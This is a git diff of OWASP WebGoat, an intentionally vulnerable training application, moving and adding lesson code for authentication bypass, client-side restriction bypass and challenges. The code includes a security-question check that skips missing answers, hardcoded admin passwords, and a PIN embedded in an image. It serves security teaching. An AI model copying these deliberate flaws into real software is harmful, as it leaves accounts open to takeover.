b).collect(Collectors.counting()).intValue(); + } + return numberOfAssignmentsSolved; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java b/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java similarity index 70% rename from webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java rename to src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java index efa231d59..154360c3e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java +++ b/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.users; +package org.owasp.webgoat.container.users; import org.springframework.data.jpa.repository.JpaRepository; @@ -8,6 +8,5 @@ import org.springframework.data.jpa.repository.JpaRepository; */ public interface UserTrackerRepository extends JpaRepository { - UserTracker findByUser(String user); - + UserTracker findByUser(String user); } diff --git a/src/main/java/org/owasp/webgoat/container/users/UserValidator.java b/src/main/java/org/owasp/webgoat/container/users/UserValidator.java new file mode 100644 index 000000000..6301e08b3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserValidator.java @@ -0,0 +1,35 @@ +package org.owasp.webgoat.container.users; + +import lombok.AllArgsConstructor; +import org.springframework.stereotype.Component; +import org.springframework.validation.Errors; +import org.springframework.validation.Validator; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Component +@AllArgsConstructor +public class UserValidator implements Validator { + + private final UserRepository userRepository; + + @Override + public boolean supports(Class clazz) { + return UserForm.class.equals(clazz); + } + + @Override + public void validate(Object o, Errors errors) { + UserForm userForm = (UserForm) o; + + if (userRepository.findByUsername(userForm.getUsername()) != null) { + errors.rejectValue("username", "username.duplicate"); + } + + if (!userForm.getMatchingPassword().equals(userForm.getPassword())) { + errors.rejectValue("matchingPassword", "password.diff"); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java new file mode 100644 index 000000000..517e50a60 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.container.users; + +import java.util.Collection; +import java.util.Collections; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Transient; +import lombok.Getter; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.authority.SimpleGrantedAuthority; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Entity +public class WebGoatUser implements UserDetails { + + public static final String ROLE_USER = "WEBGOAT_USER"; + public static final String ROLE_ADMIN = "WEBGOAT_ADMIN"; + + @Id private String username; + private String password; + private String role = ROLE_USER; + @Transient private User user; + + protected WebGoatUser() {} + + public WebGoatUser(String username, String password) { + this(username, password, ROLE_USER); + } + + public WebGoatUser(String username, String password, String role) { + this.username = username; + this.password = password; + this.role = role; + createUser(); + } + + public void createUser() { + this.user = new User(username, password, getAuthorities()); + } + + public Collection getAuthorities() { + return Collections.singleton(new SimpleGrantedAuthority(getRole())); + } + + public String getRole() { + return this.role; + } + + public String getUsername() { + return this.username; + } + + public String getPassword() { + return this.password; + } + + @Override + public boolean isAccountNonExpired() { + return this.user.isAccountNonExpired(); + } + + @Override + public boolean isAccountNonLocked() { + return this.user.isAccountNonLocked(); + } + + @Override + public boolean isCredentialsNonExpired() { + return this.user.isCredentialsNonExpired(); + } + + @Override + public boolean isEnabled() { + return this.user.isEnabled(); + } + + public boolean equals(Object obj) { + return obj instanceof WebGoatUser webGoatUser && this.user.equals(webGoatUser.user); + } + + public int hashCode() { + return user.hashCode(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java new file mode 100644 index 000000000..41b64d518 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java @@ -0,0 +1,96 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import java.util.HashMap; +import java.util.Map; + +/** Created by appsec on 7/18/17. */ +public class AccountVerificationHelper { + + // simulating database storage of verification credentials + private static final Integer verifyUserId = 1223445; + private static final Map userSecQuestions = new HashMap<>(); + + static { + userSecQuestions.put("secQuestion0", "Dr. Watson"); + userSecQuestions.put("secQuestion1", "Baker Street"); + } + + private static final Map secQuestionStore = new HashMap<>(); + + static { + secQuestionStore.put(verifyUserId, userSecQuestions); + } + // end 'data store set up' + + // this is to aid feedback in the attack process and is not intended to be part of the + // 'vulnerable' code + public boolean didUserLikelylCheat(HashMap submittedAnswers) { + boolean likely = false; + + if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) { + likely = true; + } + + if ((submittedAnswers.containsKey("secQuestion0") + && submittedAnswers + .get("secQuestion0") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) + && (submittedAnswers.containsKey("secQuestion1") + && submittedAnswers + .get("secQuestion1") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) { + likely = true; + } else { + likely = false; + } + + return likely; + } + // end of cheating check ... the method below is the one of real interest. Can you find the flaw? + + public boolean verifyAccount(Integer userId, HashMap submittedQuestions) { + // short circuit if no questions are submitted + if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { + return false; + } + + if (submittedQuestions.containsKey("secQuestion0") + && !submittedQuestions + .get("secQuestion0") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) { + return false; + } + + if (submittedQuestions.containsKey("secQuestion1") + && !submittedQuestions + .get("secQuestion1") + .equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { + return false; + } + + // else + return true; + } +} diff --git a/webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java similarity index 78% rename from webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java rename to src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java index 92f1f2250..8680b47d7 100644 --- a/webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java @@ -20,22 +20,22 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.auth_bypass; +package org.owasp.webgoat.lessons.authbypass; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class AuthBypass extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.AUTHENTICATION; - } + @Override + public Category getDefaultCategory() { + return Category.A7; + } - @Override - public String getTitle() { - return "auth-bypass.title"; - } + @Override + public String getTitle() { + return "auth-bypass.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java new file mode 100644 index 000000000..ed7988b13 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java @@ -0,0 +1,93 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.authbypass; + +import java.io.IOException; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({ + "auth-bypass.hints.verify.1", + "auth-bypass.hints.verify.2", + "auth-bypass.hints.verify.3", + "auth-bypass.hints.verify.4" +}) +public class VerifyAccount extends AssignmentEndpoint { + + @Autowired private WebSession webSession; + + @Autowired UserSessionData userSessionData; + + @PostMapping( + path = "/auth-bypass/verify-account", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed( + @RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) + throws ServletException, IOException { + AccountVerificationHelper verificationHelper = new AccountVerificationHelper(); + Map submittedAnswers = parseSecQuestions(req); + if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) { + return failed(this) + .feedback("verify-account.cheated") + .output("Yes, you guessed correctly, but see the feedback message") + .build(); + } + + // else + if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) { + userSessionData.setValue("account-verified-id", userId); + return success(this).feedback("verify-account.success").build(); + } else { + return failed(this).feedback("verify-account.failed").build(); + } + } + + private HashMap parseSecQuestions(HttpServletRequest req) { + Map userAnswers = new HashMap<>(); + List paramNames = Collections.list(req.getParameterNames()); + for (String paramName : paramNames) { + // String paramName = req.getParameterNames().nextElement(); + if (paramName.contains("secQuestion")) { + userAnswers.put(paramName, req.getParameter(paramName)); + } + } + return (HashMap) userAnswers; + } +} diff --git a/webgoat-lessons/bypass-restrictions/src/main/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java similarity index 77% rename from webgoat-lessons/bypass-restrictions/src/main/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictions.java rename to src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java index 34a9341ca..7aaa06c5c 100644 --- a/webgoat-lessons/bypass-restrictions/src/main/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictions.java +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.bypass_restrictions; +package org.owasp.webgoat.lessons.bypassrestrictions; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class BypassRestrictions extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.CLIENT_SIDE; - } + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } - @Override - public String getTitle() { - return "bypass-restrictions.title"; - } + @Override + public String getTitle() { + return "bypass-restrictions.title"; + } } diff --git a/webgoat-lessons/bypass-restrictions/src/main/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictionsFieldRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java similarity index 58% rename from webgoat-lessons/bypass-restrictions/src/main/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictionsFieldRestrictions.java rename to src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java index 55acae9fd..2ea8db965 100644 --- a/webgoat-lessons/bypass-restrictions/src/main/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictionsFieldRestrictions.java +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java @@ -20,10 +20,10 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.bypass_restrictions; +package org.owasp.webgoat.lessons.bypassrestrictions; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -32,24 +32,29 @@ import org.springframework.web.bind.annotation.RestController; @RestController public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint { - @PostMapping("/BypassRestrictions/FieldRestrictions") - @ResponseBody - public AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput, @RequestParam String readOnlyInput) { - if (select.equals("option1") || select.equals("option2")) { - return failed(this).build(); - } - if (radio.equals("option1") || radio.equals("option2")) { - return failed(this).build(); - } - if (checkbox.equals("on") || checkbox.equals("off")) { - return failed(this).build(); - } - if (shortInput.length() <= 5) { - return failed(this).build(); - } - if ("change".equals(readOnlyInput)) { - return failed(this).build(); - } - return success(this).build(); + @PostMapping("/BypassRestrictions/FieldRestrictions") + @ResponseBody + public AttackResult completed( + @RequestParam String select, + @RequestParam String radio, + @RequestParam String checkbox, + @RequestParam String shortInput, + @RequestParam String readOnlyInput) { + if (select.equals("option1") || select.equals("option2")) { + return failed(this).build(); } + if (radio.equals("option1") || radio.equals("option2")) { + return failed(this).build(); + } + if (checkbox.equals("on") || checkbox.equals("off")) { + return failed(this).build(); + } + if (shortInput.length() <= 5) { + return failed(this).build(); + } + if ("change".equals(readOnlyInput)) { + return failed(this).build(); + } + return success(this).build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java new file mode 100644 index 000000000..9d2c048eb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java @@ -0,0 +1,79 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.bypassrestrictions; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint { + + @PostMapping("/BypassRestrictions/frontendValidation") + @ResponseBody + public AttackResult completed( + @RequestParam String field1, + @RequestParam String field2, + @RequestParam String field3, + @RequestParam String field4, + @RequestParam String field5, + @RequestParam String field6, + @RequestParam String field7, + @RequestParam Integer error) { + final String regex1 = "^[a-z]{3}$"; + final String regex2 = "^[0-9]{3}$"; + final String regex3 = "^[a-zA-Z0-9 ]*$"; + final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$"; + final String regex5 = "^\\d{5}$"; + final String regex6 = "^\\d{5}(-\\d{4})?$"; + final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$"; + if (error > 0) { + return failed(this).build(); + } + if (field1.matches(regex1)) { + return failed(this).build(); + } + if (field2.matches(regex2)) { + return failed(this).build(); + } + if (field3.matches(regex3)) { + return failed(this).build(); + } + if (field4.matches(regex4)) { + return failed(this).build(); + } + if (field5.matches(regex5)) { + return failed(this).build(); + } + if (field6.matches(regex6)) { + return failed(this).build(); + } + if (field7.matches(regex7)) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java b/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java new file mode 100644 index 000000000..1c6ba4c37 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.lessons.challenges; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * @author nbaars + * @since 3/21/17. + */ +public class ChallengeIntro extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge0.title"; + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java b/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java similarity index 87% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java rename to src/main/java/org/owasp/webgoat/lessons/challenges/Email.java index a8b9314a9..81e105a9a 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java @@ -20,13 +20,12 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.challenges; - -import lombok.Builder; -import lombok.Data; +package org.owasp.webgoat.lessons.challenges; import java.io.Serializable; import java.time.LocalDateTime; +import lombok.Builder; +import lombok.Data; /** * @author nbaars @@ -36,9 +35,9 @@ import java.time.LocalDateTime; @Data public class Email implements Serializable { - private LocalDateTime time; - private String contents; - private String sender; - private String title; - private String recipient; -} \ No newline at end of file + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java new file mode 100644 index 000000000..d78186585 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.challenges; + +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; +import java.util.stream.IntStream; +import javax.annotation.PostConstruct; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 3/23/17. + */ +@RestController +public class Flag extends AssignmentEndpoint { + + public static final Map FLAGS = new HashMap<>(); + @Autowired private UserTrackerRepository userTrackerRepository; + @Autowired private WebSession webSession; + + @AllArgsConstructor + private class FlagPosted { + @Getter private boolean lessonCompleted; + } + + @PostConstruct + public void initFlags() { + IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); + } + + @RequestMapping( + path = "/challenge/flag", + method = RequestMethod.POST, + produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult postFlag(@RequestParam String flag) { + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + String currentChallenge = webSession.getCurrentLesson().getName(); + int challengeNumber = + Integer.valueOf( + currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length())); + String expectedFlag = FLAGS.get(challengeNumber); + final AttackResult attackResult; + if (expectedFlag.equals(flag)) { + userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber); + attackResult = success(this).feedback("challenge.flag.correct").build(); + } else { + userTracker.assignmentFailed(webSession.getCurrentLesson()); + attackResult = failed(this).feedback("challenge.flag.incorrect").build(); + } + userTrackerRepository.save(userTracker); + return attackResult; + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java similarity index 81% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java rename to src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java index 9a9654260..890d80d06 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java @@ -20,7 +20,7 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.challenges; +package org.owasp.webgoat.lessons.challenges; /** * Interface with constants so we can easily change the flags @@ -30,8 +30,8 @@ package org.owasp.webgoat.challenges; */ public interface SolutionConstants { - //TODO should be random generated when starting the server - String PASSWORD = "!!webgoat_admin_1234!!"; - String PASSWORD_TOM = "thisisasecretfortomonly"; - String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; + // TODO should be random generated when starting the server + String PASSWORD = "!!webgoat_admin_1234!!"; + String PASSWORD_TOM = "thisisasecretfortomonly"; + String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; } diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java new file mode 100644 index 000000000..0d07c7427 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java @@ -0,0 +1,69 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since August 11, 2016 + */ +@RestController +public class Assignment1 extends AssignmentEndpoint { + + @PostMapping("/challenge/1") + @ResponseBody + public AttackResult completed( + @RequestParam String username, @RequestParam String password, HttpServletRequest request) { + boolean ipAddressKnown = true; + boolean passwordCorrect = + "admin".equals(username) + && PASSWORD + .replace("1234", String.format("%04d", ImageServlet.PINCODE)) + .equals(password); + if (passwordCorrect && ipAddressKnown) { + return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build(); + } else if (passwordCorrect) { + return failed(this).feedback("ip.address.unknown").build(); + } + return failed(this).build(); + } + + public static boolean containsHeader(HttpServletRequest request) { + return StringUtils.hasText(request.getHeader("X-Forwarded-For")); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java new file mode 100644 index 000000000..fa9129040 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge1 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge1.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java new file mode 100644 index 000000000..1de00e012 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java @@ -0,0 +1,41 @@ +package org.owasp.webgoat.lessons.challenges.challenge1; + +import static org.springframework.web.bind.annotation.RequestMethod.GET; +import static org.springframework.web.bind.annotation.RequestMethod.POST; + +import java.io.IOException; +import java.security.SecureRandom; +import javax.servlet.http.HttpServlet; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ImageServlet extends HttpServlet { + + private static final long serialVersionUID = 9132775506936676850L; + public static final int PINCODE = new SecureRandom().nextInt(10000); + + @RequestMapping( + method = {GET, POST}, + value = "/challenge/logo", + produces = MediaType.IMAGE_PNG_VALUE) + @ResponseBody + public byte[] logo() throws IOException { + byte[] in = + new ClassPathResource("lessons/challenges/images/webgoat2.png") + .getInputStream() + .readAllBytes(); + + String pincode = String.format("%04d", PINCODE); + + in[81216] = (byte) pincode.charAt(0); + in[81217] = (byte) pincode.charAt(1); + in[81218] = (byte) pincode.charAt(2); + in[81219] = (byte) pincode.charAt(3); + + return in; + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java similarity index 50% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java rename to src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java index 39cd6dbba..d6b8dcceb 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java @@ -20,52 +20,56 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.challenges.challenge5; +package org.owasp.webgoat.lessons.challenges.challenge5; +import java.sql.PreparedStatement; +import java.sql.ResultSet; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.LessonDataSource; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.challenges.Flag; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; 